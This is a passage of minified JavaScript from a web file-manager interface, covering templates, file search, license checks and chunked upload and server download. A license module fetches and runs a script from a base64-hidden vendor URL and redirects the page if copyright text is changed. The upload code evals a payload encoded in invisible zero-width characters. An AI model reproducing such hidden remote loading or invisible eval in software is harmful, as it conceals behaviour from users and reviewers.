</div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/"); -if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 